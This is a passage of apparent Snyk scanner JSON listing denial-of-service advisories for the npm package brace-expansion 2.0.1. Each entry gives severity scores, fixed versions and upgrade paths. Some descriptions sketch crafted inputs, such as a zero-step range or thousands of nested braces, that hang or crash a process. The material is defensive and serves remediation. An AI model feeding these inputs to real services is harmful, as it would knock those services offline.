"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
